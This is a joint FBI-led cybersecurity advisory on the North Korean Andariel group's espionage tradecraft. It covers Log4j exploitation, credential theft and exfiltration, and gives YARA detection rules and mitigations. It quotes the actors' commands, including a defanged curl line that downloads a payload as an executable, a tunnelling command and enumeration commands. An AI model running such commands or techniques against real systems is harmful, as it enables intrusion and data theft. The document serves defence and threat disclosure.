The U.S. Federal Bureau of Investigation (FBI) and the following authoring partners are releasing this Cybersecurity Advisory to highlight cyber espionage activity associated with the Democratic People’s Republic of Korea (DPRK)’s Reconnaissance General Bureau (RGB) 3rd Bureau based in Pyongyang and Sinuiju:
The RGB 3rd Bureau includes a DPRK (aka North Korean) state-sponsored cyber group known publicly as Andariel, Onyx Sleet (formerly PLUTONIUM), DarkSeoul, Silent Chollima, and Stonefly/Clasiopa. The group primarily targets defense, aerospace, nuclear, and engineering entities to obtain sensitive and classified technical information and intellectual property to advance the regime’s military and nuclear programs and ambitions. The authoring agencies believe the group and the cyber techniques remain an ongoing threat to various industry sectors worldwide, including but not limited to entities in their respective countries, as well as in Japan and India. RGB 3rd Bureau actors fund their espionage activity through ransomware operations against U.S. healthcare entities.
The actors gain initial access through widespread exploitation of web servers through known vulnerabilities in software, such as Log4j, to deploy a web shell and gain access to sensitive information and applications for further exploitation. The actors then employ standard system discovery and enumeration techniques, establish persistence using Scheduled Tasks, and perform privilege escalation using common credential stealing tools such as Mimikatz. The actors deploy and leverage custom malware implants, remote access tools (RATs), and open source tooling for execution, lateral movement, and data exfiltration.
The actors also conduct phishing activity using malicious attachments, including Microsoft Windows Shortcut File (LNK) files or HTML Application (HTA) script files inside encrypted or unencrypted zip archives.
The authoring agencies encourage critical infrastructure organizations to apply patches for vulnerabilities in a timely manner, protect web servers from web shells, monitor endpoints for malicious activities, and strengthen authentication and remote access protections. While not exclusive, entities involved in or associated with the below industries and fields should remain vigilant in defending their networks from North Korea state-sponsored cyber operations:
For additional information on DPRK state-sponsored malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage.
Download the PDF version of this report:
For a downloadable copy of associated indicators of compromise (IOCs), see:
Andariel (also known as Onyx Sleet, formerly PLUTONIUM, DarkSeoul, Silent Chollima, and Stonefly/Clasiopa) is a North Korean state-sponsored cyber group, under the RGB 3rd Bureau, based in Pyongyang and Sinuiju. The authoring agencies assess the group has evolved from conducting destructive attacks targeting U.S. and South Korean organizations to conducting specialized cyber espionage and ransomware operations.
The actors currently target sensitive military information and intellectual property of defense, aerospace, nuclear, engineering organizations. To a lesser extent, the group targets medical and energy industries. See Table 1 for more victimology information.
| Industry | Information Targeted |
|---|---|
| Defense |
|
| Aerospace |
|
| Nuclear |
|
| Engineering |
|
The information targeted—such as contract specifications, bills of materials, project details, design drawings, and engineering documents—has military and civilian applications and leads the authoring agencies to assess one of the group’s chief responsibilities as satisfying collection requirements for Pyongyang’s nuclear and defense programs.
Andariel actors fund their espionage activity through ransomware operations against U.S. healthcare entities, and in some instances, the authoring agencies have observed the actors launching ransomware attacks and conducting cyber espionage operations on the same day and/or leveraging ransomware and cyber espionage against the same entity. For more information on this ransomware activity, see joint advisories #StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities and North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector.
This advisory uses the MITRE ATT&CK for Enterprise framework, version 15. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.
While there is limited available information on the group’s initial reconnaissance methods, the actors likely identify vulnerable systems using publicly available internet scanning tools that reveal information such as vulnerabilities in public-facing web servers [T1595, T1592]. The actors gather open source information about their victims for use in targeting [T1591] and research Common Vulnerabilities and Exposures (CVEs) when published to the National Institute of Standards and Technology (NIST) National Vulnerability Database [T1596]. CVEs researched include:
The actors leverage custom tools and malware for discovery and execution. Over the last 15 years, the group has developed RATs, including the following, to permit remote access and manipulation of systems and lateral movement.
These tools include functionality for executing arbitrary commands, keylogging, screenshots, listing files and directories, browser history retrieval, process snooping, creating and writing to files, capturing network connections, and uploading content to command and control (C2) [T1587.001, T1587.004]. The tools allow the actors to maintain access to the victim system with each implant having a designated C2 node.
Commodity malware is malicious software widely available for purchase or use and is leveraged by numerous different threat actors. The use of publicly available malware enables the actors to conceal and obfuscate their identities and leads to attribution problems. The authoring agencies are reliant on the use of custom malware and loaders, along with overlapping C2 nodes to attribute commodity malware to the actors. The actors have at times achieved great success leveraging just open source malware. The authoring agencies have identified the following open-source tools as used and/or customized by the actors:
The actors gain initial access through widespread exploitation of web servers through known vulnerabilities, such as CVE-2021-44228 (“Log4Shell”) in Apache’s Log4j software library and other CVEs listed above, to deploy web shells and gain access to sensitive information and applications for further exploitation. The actors continue to breach organizations by exploiting web server vulnerabilities in public-facing devices and have conducted widespread activity against a number of different organizations simultaneously [T1190].
The actors are well-versed in using native tools and processes on systems, known as living off the land (LOTL). They use Windows command line, PowerShell, Windows Management Instrumentation command line (WMIC), and Linux bash, for system, network, and account enumeration. While individual commands typically vary, the authoring agencies assess the actors prefer netstat commands, such as netstat –naop and netstat –noa [T1059]. Example commands used by the actors include the following:
netstat –naop netstat –noapvhost.exe -N -R [IP Address]:[Port] -P [Port] -l [username] -pw [password] <Remote_IP>curl hxxp[://][IP Address]/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exeC:\windows\system32\cmd.exe /c systeminfo | findstr LogonThese actors often make typos and other mistakes, indicating that the commands are not directly copied from a playbook and the actors have a flexible and impromptu approach. The typos also illustrate a poor grasp of the English language, including common errors such as “Microsoft Cooperation” (rather than “Microsoft Corporation”) found across numerous RGB 3rd Bureau malware samples.
The actors routinely pack late-stage tooling in VMProtect and Themida. Malicious tooling packed with these and other commercial tools have advanced anti-debugging and detection capabilities. These files are typically multiple megabytes in size and often contain unusual file section names such as vmp0 and vmp1 for VMProtect and Themida or randomized file section names for Themida [T1027].
The actors employ a multi-pronged approach to stealing credentials to gain additional access to systems, including the use of publicly available credential theft tools such as Mimikatz, ProcDump, and Dumpert and accessing the Active Directory domain database through targeting of the NTDS.dit file. The authoring agencies assess the actors change settings on compromised systems to force the system to store credentials and then use the aforementioned tools to steal credentials. In one instance, the actors used the vssadmin command-line utility to back up a volume to retrieve a copy of the NTDS.dit file containing Active Directory data. In another instance, the actors were observed collecting registry hive data for offline extraction of credentials [T1003].
The actors used customized file system enumeration tooling written in .NET. The tool is capable of receiving and executing command line arguments to enumerate directories and files and compress output files. The tool collects the following information for each drive targeted on a system: depth relative to starting path, name, last write time, last access time, creation time, size, and attributes [T1087, T1083].
The actors also enumerate directories and files of connected devices using Server Message Block (SMB) protocol, which enables network file sharing and the ability to request services and programs from a network [T1021.002].
The actors also use system logging for discovery to move laterally. The group logs active window changes, clipboard data, and keystrokes and saves the collected logging information to the %Temp% directory.
The actors have also used Remote Desktop Protocol (RDP) to move laterally [T1021].
The actors leverage techniques and infrastructure positioned around the world to send commands to compromised systems. The actors disguise their malware within HTTP packets to appear as benign network traffic. They also use tunneling tools such as 3Proxy, PLINK, and Stunnel as well as custom proxy tunneling tools to tunnel traffic over a variety of protocols from inside a network back to a C2 server. Tunneling enables the actors to perform C2 operations despite network configurations that would typically pose a challenge, such as the use of Network Address Translation (NAT) or traffic funneled through a web proxy [T1090, T1071].
Malware previously used by the actors permitted placement and access to search through files that could be of interest, including scanning computer files for keywords related to defense and military sectors in English and Korean. The actors identify data for theft by enumerating files and folders across many directories and servers using command-line activity or functionality built into custom tools. The actors collect the relevant files into RAR archives, sometimes using a version of WinRAR brought into the victim’s environment with other malicious tooling [T1560, T1039].
The actors typically exfiltrate data to web services such as cloud storage or servers not associated with their primary C2. Notably, the actors have been observed logging into actor-controlled cloud-based storage service accounts directly from victim networks to exfiltrate data [T1567]. The actors have also been observed using the utilities PuTTY and WinSCP to exfiltrate data to North Korea-controlled servers via File Transfer Protocol (FTP) and other protocols [T1048].
The actors have also been identified staging files for exfiltration on victim machines, establishing Remote Desktop Protocol connections, and conducting HTTP GET requests on port 80 to receive information [T1021].
See below for Andariel IOCs.
The following include observed MD5 hashes:
The following include observed SHA-256 hashes:
The following include a list of user agent strings used by the actors:
See Table 2 for YARA rules, created by the FBI, authoring partners, and private industry, that can be used to detect malware used by the actors.
| rule Andariel_ScheduledTask_Loader { strings: $obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 } $obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 } $obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 } condition: uint16(0) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3 } |
| rule Andariel_KaosRAT_Yamabot { strings: $str1 = "/kaos/" $str2 = "Abstand [" $str3 = "] anwenden" $str4 = "cmVjYXB0Y2hh" $str5 = "/bin/sh" $str6 = "utilities.CIpaddress" $str7 = "engine.NewEgg" $str8 = "%s%04x%s%s%s" $str9 = "Y2FwdGNoYV9zZXNzaW9u" $str10 = "utilities.EierKochen" $str11 = "kandidatKaufhaus" condition: 3 of them } |
| rule TriFaux_EasyRAT_JUPITER { strings: $InitOnce = "InitOnceExecuteOnce" $BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A } $Bytes = "4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide condition: uint16(0) == 0x5a4d and all of them } |
| rule Andariel_CutieDrop_MagicRAT { strings: $config_os_w = "os/windows" ascii wide $config_os_l = "os/linux" ascii wide $config_os_m = "os/mac" ascii wide $config_comp_msft = "company/microsoft" ascii wide $config_comp_orcl = "company/oracle" ascii wide $POST_field_1 = "session=" ascii wide $POST_field_2 = "type=" ascii wide $POST_field_3 = "id=" ascii wide $command_misspelled = "renmae" ascii wide condition: uint16(0) == 0x5a4d and 7 of them |
| rule Andariel_hhsd_FileTransferTool { strings: // 30 4D C7 xor [rbp+buffer_v41+3], cl // 81 7D C4 22 C0 78 00 cmp dword ptr [rbp+buffer_v41], 78C022h // 44 88 83 00 01 00 00 mov [rbx+100h], r8b $handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 } // B1 14 mov cl, 14h // C7 45 F7 14 00 41 00 mov [rbp+57h+Src], 410014h // C7 45 FB 7A 00 7F 00 mov [rbp+57h+var_5C], 7F007Ah // C7 45 FF 7B 00 63 00 mov [rbp+57h+var_58], 63007Bh // C7 45 03 7A 00 34 00 mov [rbp+57h+var_54], 34007Ah // C7 45 07 51 00 66 00 mov [rbp+57h+var_50], 660051h // C7 45 0B 66 00 7B 00 mov [rbp+57h+var_4C], 7B0066h // C7 45 0F 66 00 00 00 mov [rbp+57h+var_48], 66h ; 'f' $err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 } // 41 02 D0 add dl, r8b // 44 02 DA add r11b, dl // 3C 1F cmp al, 1Fh $buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F } |
| // B9 8D 10 B7 F8 mov ecx, 0F8B7108Dh // E8 F1 BA FF FF call sub_140001280 $hash_call_loadlib = { B? 8D 10 B7 F8 E8 } $hash_call_unk = { B? 91 B8 F6 88 E8 } condition: uint16(0) == 0x5a4d and (any of ($handshake, $err_xor_str, $buf_add_cmp_1f) and any of ($hash_call_*)) or 2 of ($handshake, $err_xor_str, $buf_add_cmp_1f) |
| rule Andariel_Atharvan_3RAT { strings: $3RAT = "D:\\rang\\TOOL\\3RAT" $atharvan = "Atharvan_dll.pdb" condition: uint16(0) == 0x5a4d and any of them } |
| rule Andariel_LilithRAT_Variant { strings: // The following are strings seen in the open source version of Lilith $lilith_1 = "Initiate a CMD session first." ascii wide $lilith_2 = "CMD is not open" ascii wide $lilith_3 = "Couldn't write command" ascii wide $lilith_4 = "Couldn't write to CMD: CMD not open" ascii wide // The following are strings that appear to be unique to the Unnamed Trojan based on Lilith $unique_1 = "Upload Error!" ascii wide $unique_2 = "ERROR: Downloading is already running!" ascii wide $unique_3 = "ERROR: Unable to open file:" ascii wide $unique_4 = "General error" ascii wide $unique_5 = "CMD error" ascii wide $unique_6 = "killing self" ascii wide condition: uint16(0) == 0x5a4d and filesize < 150KB and all of ($lilith_*) and 2 of ($unique_*) } |
| rule Andariel_SocksTroy_Strings_OpCodes { strings: $strHost = "-host" wide $strAuth = "-auth" wide $SocksTroy = "SocksTroy" $cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B } condition: uint16(0) == 0x5a4d and ((1 of ($str*)) and (all of ($c*)) or (all of ($Socks*))) } |
| rule Andariel_Agni { strings: $xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 } $stackstrings = {C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24} condition: uint16(0) == 0x5a4d and (#xor > 100 and #stackstrings > 5) } |
| rule Andariel_GoLang_validalpha_handshake { strings: $ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 } condition: all of them } |
| rule Andariel_GoLang_validalpha_tasks { strings: $ = "main.ScreenMonitThread" $ = "main.CmdShell" $ = "main.GetAllFoldersAndFiles" $ = "main.SelfDelete" condition: all of them } |
| rule Andariel_GoLang_validalpha_BlackString { strings: $ = "I:/01___Tools/02__RAT/Black" condition: uint16(0) == 0x5A4D and all of them } |
| rule INDICATOR_EXE_Packed_VMProtect { strings: $s1 = ".vmp0" fullword ascii $s2 = ".vmp1" fullword ascii condition: uint16(0) == 0x5a4d and all of them or for any i in (0 .. pe.number_of_sections) : ( ( pe.sections[i].name == ".vmp0" or pe.sections[i].name == ".vmp1" ) ) } |
| rule INDICATOR_EXE_Packed_Themida { strings: $s1 = ".themida" fullword ascii condition: uint16(0) == 0x5a4d and all of them or for any i in (0 .. pe.number_of_sections) : ( ( pe.sections[i].name == ".themida" ) ) } |
| rule Andariel_elf_backdoor_fipps { strings: $a = "found mac address" $b = "RecvThread" $c = "OpenSSL-1.0.0-fipps" $d = "Disconnected!" condition: (all of them) and uint32(0) == 0x464c457f } |
| rule Andariel_bindshell { strings: $str_comspec = "COMSPEC" $str_consolewindow = "GetConsoleWindow" $str_ShowWindow = "ShowWindow" $str_WSASocketA = "WSASocketA" $str_CreateProcessA = "CreateProcessA" $str_port = {B9 4D 05 00 00 89} condition: uint16(0) == 0x5A4D and all of them } |
| rule Andariel_grease2 { strings: $str_rdpconf = "c: \\windows\\temp\\RDPConf.exe" fullword nocase $str_rdpwinst = "c: \\windows\\temp\\RDPWInst.exe" fullword nocase $str_net_user = "net user" $str_admins_add = "net localgroup administrators" condition: uint16(0) == 0x5A4D and all of them } |
| rule Andariel_NoPineapple_Dtrack_unpacked { strings: $str_nopineapple = "< No Pineapple! >" $str_qt_library = "Qt 5.12.10" $str_xor = {8B 10 83 F6 ?? 83 FA 01 77} condition: uint16(0) == 0x5A4D and all of them } |
| rule Andariel_dtrack_unpacked { strings: $str_mutex = "MTX_Global" $str_cmd_1 = "/c net use \\\\" wide $str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide $str_cmd_3 = "/c move /y %s \\\\" wide $str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide condition: uint16(0) == 0x5A4D and all of them } |
| rule Andariel_TigerRAT_crowdsourced_rule { strings: $m1 = ".?AVModuleKeyLogger@@" fullword ascii $m2 = ".?AVModulePortForwarder@@" fullword ascii $m3 = ".?AVModuleScreenCapture@@" fullword ascii $m4 = ".?AVModuleShell@@" fullword ascii $s1 = "\\x9891-009942-xnopcopie.dat" fullword wide $s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii $s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii $s4 = "del \"%s\"%s \"%s\" goto " ascii $s5 = "[<<]" fullword ascii condition: uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*))) } |
| rule win_tiger_rat_auto { strings: $sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 } // n = 5, score = 200 // 33c0 | jmp 5 // 89442438 | dec eax // 89442430 | mov eax, ecx // 448bcf | movzx eax, byte ptr [eax] // 4533c0 | dec eax $sequence_1 = { 41b901000000 488bd6 488bcb e8???????? } // n = 4, score = 200 // 41b901000000 | dec eax // 488bd6 | mov eax, dword ptr [ecx] // 488bcb | jmp 8 // e8???????? | $sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 } // n = 4, score = 200 // 4881ec90050000 | test eax, eax // 8b01 | jns 0x16 // 8985c8040000 | dec eax // 8b4104 | mov eax, dword ptr [ecx] $sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 } // n = 4, score = 200 // 488b01 | mov edx, esi // ff10 | dec eax // 488b4f08 | mov ecx, ebx // 4c8d4c2430 | inc ecx $sequence_4 = { 488b01 ff10 488b4e18 488b01 } // n = 4, score = 200 // 488b01 | dec eax // ff10 | cmp dword ptr [ecx + 0x18], 0x10 // 488b4e18 | dec eax // 488b01 | sub esp, 0x590 $sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 } // n = 4, score = 200 // 4881eca0000000 | mov eax, dword ptr [ecx] // 33c0 | mov dword ptr [ebp + 0x4c8], eax // 488bd9 | mov eax, dword ptr [ecx + 4] // 488d4c2432 | mov dword ptr [ebp + 0x4d0], eax $sequence_6 = { 488b01 eb03 488bc1 0fb600 } // n = 4, score = 200 // 488b01 | inc ecx // eb03 | mov ebx, dword ptr [ebp + ebp] // 488bc1 | inc ecx // 0fb600 | movups xmmword ptr [edi], xmm0 $sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 } // n = 5, score = 200 // 488b01 | sub esp, 0x30 // 8b10 | dec ecx // 895124 | mov ebx, eax // 448b4124 | dec eax // 4585c0 | mov ecx, eax $sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 } // n = 4, score = 100 // 4c8d0d31eb0000 | jne 0x1e6 // c1e918 | dec eax // c1e808 | lea ecx, [0xbda0] // 41bf00000080 | dec esp $sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 } // n = 7, score = 100 // 488bd8 | dec eax // 4885c0 | mov ebx, eax // 752d | dec eax // ff15???????? | // 83f857 | test eax, eax // 0f85e0010000 | jne 0x2f // 488d0da0bd0000 | cmp eax, 0x57 $sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b } // n = 5, score = 100 // 75d4 | lea ecx, [0xeb31] // 488d1d7f6c0100 | shr ecx, 0x18 // 488b4bf8 | shr eax, 8 // 4885c9 | inc ecx // 740b | mov edi, 0x80000000 $sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b b9f4ffffff } // n = 7, score = 100 // 0f85d9000000 | jne 0xffffffd6 // 488d15d0c90000 | dec eax // 41b810200100 | lea ebx, [0x16c7f] // 488bcd | dec eax // e8???????? | // eb6b | mov ecx, dword ptr [ebx - 8] // b9f4ffffff | dec eax $sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905???????? 488d05a0550000 488905???????? } // n = 6, score = 100 // 48890d???????? | // 488905???????? | // 488d05ae610000 | test ecx, ecx // 488905???????? | // 488d05a0550000 | je 0x10 // 488905???????? | $sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 } // n = 6, score = 100 // 8bcf | mov eax, 0x12010 // e8???????? | // 488b7c2448 | dec eax // 85c0 | mov ecx, ebp // 0f8440030000 | jmp 0x83 // 488d0560250100 | mov ecx, 0xfffffff4 $sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905???????? 8b05???????? } // n = 7, score = 100 // ff15???????? | // 8b05???????? | // 2305???????? | // ba02000000 | dec eax // 33c9 | lea eax, [0x61ae] // 8905???????? | // 8b05???????? | $sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 } // n = 5, score = 100 // 4883ec30 | jne 0xdf // 498bd8 | dec eax // e8???????? | // 488bc8 | lea edx, [0xc9d0] // 4885c0 | inc ecx condition: 7 of them and filesize < 557056 } |
| rule win_dtrack_auto { strings: $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 } // n = 7, score = 400 // 52 | push edx // 8b4508 | mov eax, dword ptr [ebp + 8] // 50 | push eax // e8???????? | // 83c414 | add esp, 0x14 // 8b4d10 | mov ecx, dword ptr [ebp + 0x10] // 51 | push ecx $sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae c78544f6ffff00000000 } // n = 7, score = 300 // 3a4101 | cmp al, byte ptr [ecx + 1] // 7523 | jne 0x25 // 83854cf6ffff02 | add dword ptr [ebp - 0x9b4], 2 // 838550f6ffff02 | add dword ptr [ebp - 0x9b0], 2 // 80bd4af6ffff00 | cmp byte ptr [ebp - 0x9b6], 0 // 75ae | jne 0xffffffb0 // c78544f6ffff00000000 | mov dword ptr [ebp - 0x9bc], 0 $sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 } // n = 7, score = 300 // 50 | push eax // ff15???????? | // a3???????? | // 68???????? | // e8???????? | // 83c404 | add esp, 4 // 50 | push eax $sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? } // n = 5, score = 300 // 8d8dd4faffff | lea ecx, [ebp - 0x52c] // 51 | push ecx // e8???????? | // 83c408 | add esp, 8 // 8b15???????? | $sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? } // n = 5, score = 300 // 8855f5 | mov byte ptr [ebp - 0xb], dl // 6a5c | push 0x5c // 8b450c | mov eax, dword ptr [ebp + 0xc] // 50 | push eax // e8???????? | $sequence_5 = { 51 e8???????? 83c410 8b558c 52 } // n = 5, score = 300 // 51 | push ecx // e8???????? | // 83c410 | add esp, 0x10 // 8b558c | mov edx, dword ptr [ebp - 0x74] // 52 | push edx $sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? } // n = 6, score = 300 // 8b4d0c | mov ecx, dword ptr [ebp + 0xc] // 51 | push ecx // 68???????? | // 8d9560eaffff | lea edx, [ebp - 0x15a0] // 52 | push edx // e8???????? | $sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 } // n = 5, score = 300 // 83c001 | add eax, 1 // 8945f4 | mov dword ptr [ebp - 0xc], eax // 837df420 | cmp dword ptr [ebp - 0xc], 0x20 // 7d2c | jge 0x2e // 8b4df8 | mov ecx, dword ptr [ebp - 8] $sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 } // n = 4, score = 300 // 83c001 | add eax, 1 // 89856cf6ffff | mov dword ptr [ebp - 0x994], eax // 8b8d70f6ffff | mov ecx, dword ptr [ebp - 0x990] // 8a11 | mov dl, byte ptr [ecx] $sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 } // n = 6, score = 200 // 0355f0 | add edx, dword ptr [ebp - 0x10] // 0fb602 | movzx eax, byte ptr [edx] // 0fb64df7 | movzx ecx, byte ptr [ebp - 9] // 33c1 | xor eax, ecx // 0fb655fc | movzx edx, byte ptr [ebp - 4] // 33c2 | xor eax, edx $sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 } // n = 5, score = 200 // d1e9 | shr ecx, 1 // 894df8 | mov dword ptr [ebp - 8], ecx // 8b5518 | mov edx, dword ptr [ebp + 0x18] // 8955fc | mov dword ptr [ebp - 4], edx // c745f000000000 | mov dword ptr [ebp - 0x10], 0 $sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 } // n = 6, score = 200 // 8b4df0 | mov ecx, dword ptr [ebp - 0x10] // 3b4d10 | cmp ecx, dword ptr [ebp + 0x10] // 0f8d90000000 | jge 0x96 // 8b5508 | mov edx, dword ptr [ebp + 8] // 0355f0 | add edx, dword ptr [ebp - 0x10] // 0fb602 | movzx eax, byte ptr [edx] $sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 } // n = 6, score = 200 // 894d14 | mov dword ptr [ebp + 0x14], ecx // 8b45f8 | mov eax, dword ptr [ebp - 8] // c1e018 | shl eax, 0x18 // 8b4dfc | mov ecx, dword ptr [ebp - 4] // c1e908 | shr ecx, 8 // 0bc1 | or eax, ecx $sequence_13 = { 0bc1 894518 8b5514 8955f8 } // n = 4, score = 200 // 0bc1 | or eax, ecx // 894518 | mov dword ptr [ebp + 0x18], eax // 8b5514 | mov edx, dword ptr [ebp + 0x14] // 8955f8 | mov dword ptr [ebp - 8], edx $sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 } // n = 6, score = 200 // 8b5514 | mov edx, dword ptr [ebp + 0x14] // 8955f8 | mov dword ptr [ebp - 8], edx // 8b4518 | mov eax, dword ptr [ebp + 0x18] // 8945fc | mov dword ptr [ebp - 4], eax // e9???????? | // 8be5 | mov esp, ebp condition: 7 of them and filesize < 1736704 } |
The authoring agencies recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity.
Defenders should consult the joint Cybersecurity Advisory titled “Mitigating Log4Shell and Other Log4j-Related Vulnerabilities” and CISA’s “Apache Log4j Vulnerability” guidance. Organizations can mitigate the risks posed by the vulnerability by identifying assets affected by Log4Shell and other Log4j-related vulnerabilities and upgrading Log4j assets and affected products to the latest version.
Note: CVE-2021-44228 ‘Log4Shell’ was disclosed in December 2021 and affects the Log4j library prior to version 2.17.0.
Defenders should remain alert to vendor software updates, and initiate hunt and incident response procedures to detect possible Log4Shell exploitation.
Web shell malware is deployed by adversaries on a victim’s web server to execute arbitrary system commands. The NSA and Australian Signals Directorate’s report titled “Detect and Prevent Web Shell Malware” provides mitigating actions to identify and recover from web shells.
Preventing exploitation of web-facing servers often depends on maintaining an inventory of systems and applications, rapidly applying patches as they are released, putting vulnerable or potentially risky systems behind reverse proxies that require authentication, and deploying and configuring Web Application Firewalls (WAFs).
Preventing and detecting further adversary activity should focus on deploying endpoint agents or other monitoring mechanisms, blocking unnecessary outbound connections, blocking external access to administrator panels and services or turning them off entirely, and segmenting the network to prevent lateral movement from a compromised web server to critical assets.
Monitoring for suspicious command-line activity, implementing multi-factor authentication for remote access services, and properly segmenting and using allow-listing tools for critical assets can protect against malicious activity by RGB 3rd Bureau’s Andariel group and other cyber threat actors.
Signatures for Themida, VMProtect and a number of other packers are available here, however, the signatures will not identify every file packed using these applications.
The U.S. and ROK Governments encourage victims to report suspicious activities, including those related to suspected DPRK cyber activities, to relevant authorities. If you provide information about illicit DPRK activities in cyberspace, including past or ongoing operations, you may be eligible for a reward. If you have information about illicit DPRK activities in cyberspace, including past or ongoing operations, providing such information through the Department of State’s Rewards for Justice program could make you eligible to receive an award of up to $10 million. For further details, please visit https://rewardsforjustice.net/.
Mandiant and Microsoft Threat Intelligence contributed to this CSA.
Your organization has no obligation to respond or provide information in response to this product. If, after reviewing the information provided, your organization decides to provide information to the authorizing agencies, it must do so consistent with applicable state and federal law.
The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or service by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the co-authors.
Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at [email protected] or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/fieldoffices.
DC3 Cyber Forensics Laboratory (CFL): [email protected]
DoD-Defense Industrial Base (DIB) Collaborative Information Sharing Environment (DCISE): [email protected]
